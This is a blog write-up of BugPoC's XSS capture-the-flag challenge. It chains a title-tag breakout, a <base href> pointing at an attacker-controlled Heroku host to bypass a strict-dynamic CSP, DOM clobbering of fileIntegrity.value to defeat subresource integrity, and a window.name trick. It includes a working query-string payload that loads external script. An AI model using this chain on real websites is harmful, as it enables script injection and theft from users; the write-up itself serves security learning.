In-depth write-up of BugPoC’s XSS Challenge

Dipendra Shrestha
7 min readNov 10, 2020

--

tl;dr

Directly accessing frame.html to bypass the removal of dangerous characters and setting the window.name property to “iframe” so as to not get the error of “not loading the page in an iframe”. Injecting closing </title> tag to inject HTML into the body and injecting <base href=”our_domain”> to bypass CSP and load our own malicious script and clobbering fileIntegrity.value to fail the parser to load our malicous script to execute arbitary JS(alert() to solve the challenge)

Sa~a, hajimeyou(Let’s Begin)

On visiting the challenge’s page at https://wacky.buggywebsite.com/, there is a text box where we can input some text and then the text gets converted to wacky text upon submitting the value. The textbox accepts every character except these &*<>%. The interaction can be seen below.

Looking at the source code for this page, there are two interesting piece of code. The iframe and the script tag.

Syntax: Code between <! — here — > are the code highlighted and to be understood in the snippets

So whatever we enter in the textbox in the landing page goes straight to the iframe’s source parameter meaning “/frame.html?url=our_input_text_here”. And since the dangerous characters gets removed in that text box, the first step is to bypass the removal of dangerous characters &*<>% which was implemented in the “script.js” file as follows:

We can bypass this by just visiting frame.html directly which basically removes a layer of security for us. From now on the challenge is going to be divided into four steps. Each with a purpose.

1. Not in a frame?

On visiting the frame.html page, the page says the page can only be viewed from an iframe.

On seeing the source, the javascript snippet below determined whether the above error is shown or other code is ran.

So if the window object’s name property is “iframe” then the code inside if statement runs otherwise the error is shown. So there are couple of ways to make this happen but for now for further solving the challenge we can just set the window.name property via web console directly. We’ll come back later again

So as you can see the frame.html page is loaded and there is no error. And whatever we pass as the value of “param” parameter gets reflected on to the page in some fancy way.

2. Injecting stuff onto the page

So after the environment is properly ready for further solving. Passing anything in ?param=our_input gets reflected inside the <title></title> tag as shown in the picture below

So we can simply close the title tag and inject anything onto the body of html file as below

Now at this point i just tried some basic XSS payloads like <svg/onload=alert()> but found out CSP headers were used for protection.

3. Understanding and Bypassing the CSP

As you can see, the CSP is enabled and error is generated when trying to execute inline javascript code. So i just quickly curl’ed the page to see what policies were set. The following policies were set.

HTTP/2 200
date: Sun, 08 Nov 2020 14:48:05 GMT
content-type: text/html
content-length: 5098
server: AmazonS3
x-amz-id-2: SgB2PKz+mg9BDT2OlvE9TFDpu0snGBmhn3XnoYIMJ871OPZ/IRSSXQUAdPjwOeCcY1AUCtUvwbI=
etag: "a0fb3b12a1f41a3c5cdea1fbf67ab1ad"
accept-ranges: bytes
content-security-policy: script-src 'nonce-aofcyyfctbga' 'strict-dynamic'; frame-src 'self'; object-src 'none';
x-amz-request-id: 47F508C8F9A5EC8C
last-modified: Wed, 28 Oct 2020 15:07:02 GMT
x-frame-options: SAMEORIGIN
apigw-requestid: VsW93htwPHcEMQA=

script-src ‘nonce-random_string’ ‘strict-dynamic’ is what we have to focus on right now.

‘strict-dynamic’ from mdn

The strict-dynamic source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any allow-list or source expressions such as 'self' or 'unsafe-inline' are ignored.

Basically a scirpt tag in a page with nonce/hash can load other script tags without explicitly needing to set the nonce/hash for loaded script. Let’s look at the code where we can abuse this.

So the code above creates a script tag and then sets the src attribute to “files/analytics/js/frame-analytics.js”. Note that the src attribute has a relative URL. If we somehow can control the domain where the file gets loaded from we can inject our own javascript code in the path of our controlled domain like “//ourdomain.com/files/analytics/js/frame-analytics.js”. So up to this point we have aclosing title tag to input arbitary html and then an idea to somehow control the domain to get arbitary XSS.

3. <base> for the rescue

Base tag defines the base URL for relative URLs meaning if we do something like below, the “x.html” resource gets loaded like //evilsite.com/x.html

<base href=//evlisite.com><a href=’x.html’>Clickme</a>

So we can set base tag’s href attribute to the domain we own and then the script gets loaded from that domain

As you can see the resource frame-analytics.js is being loaded from “evilsite.com”. After that i set up a simple node app in heroku https://pure-escarpment-77969.herokuapp.com/files/analytics/js/frame-analytics.js and tried to see if any type of alert occurs

but instead another error occured

The script tag had “integrity” attribute which implements sub resource integrity check which basically checks for the tampering of the loaded resource and the resource that was supposed to be loaded. A resource to be loaded has a specific digest(hash) which if not matched with <script integrity=’sha56-digest’ src=”…”></script> then the resource is not loaded. As you can see the attribute getting set in the following code in line number 25.

Since the integrity should have particular digest and we are loading different resource from our own site, the digest do not match and hence the resource is not loaded. So somehow we need to feed the correct digest to fileIntegrity.value to correctly load the resource and gain XSS. But do we really need to ;) ?

4. DOM Clobbering :D

So i started looking at fileIntegrity variable and by the way it was coded, it could be clobbered. You can see from the below picture.

Setting the id attribute of anchor tag and we can access it as a variable. So we successfully clobbered the fileIntegrity variable. So we need to somehow clobber fileIntegrity.value which can be done using the following code

For more about DOM Clobbering you can read terjanq’s amazing article here: https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94

So when using fileIntegrity.value in javascript code, the value is converted to string using toString() function which returns the content of href attribute as shown above. <area> and <a>, to my knowledge are the two tags which gives value of href attribute when used in toString() function. Now we successfully clobbered the fileIntegrity.value.

As you can also see the error occured due to the fileIntegrity.value which had to be a digest and properly bas64 encoded value, not being of proper format. This causes the parser fail and fall-back and load the resource without proper checks. And our malicious script gets injected on to the page.

The payload now looks like this:

?param=</title><base href='https://pure-escarpment-77969.herokuapp.com/'></head><body><a id='fileIntegrity'></a><a id='fileIntegrity' name=value href='sss'></a>

We need to supply some value to href attribute which upon parsing fails as it is not a valid base64 encoded value and the subresource we are trying to load gets loaded from our domain which has “top.alert()”(top.alert() because the script was loaded inside a sandbox) which calls the alert function in top frame and we can see a popup.

Challenge isn’t exactly solved yet if you remember we manually set the window.name property to “iframe”. So there are couple of ways of doing this but the one I chose is shown below in the code. Since window.name persists even when different site is loaded in the same tab.We can load a page which sets the window.name to “iframe” and then load the challenge site’s “frame.html?param=payload” to complete the challenge

The final payload looks like:

You can see this at:

https://bugpoc.com/poc#bp-BsHtCjES

password: RIChhARe19

And hence, the challenge is solved :).

Btw, you can use https://bugpoc.com/testers/other/mock to create a server response rather than setting up your own infastructure which might be a pain.

Thank your for your time. Have a nice day :).

--

--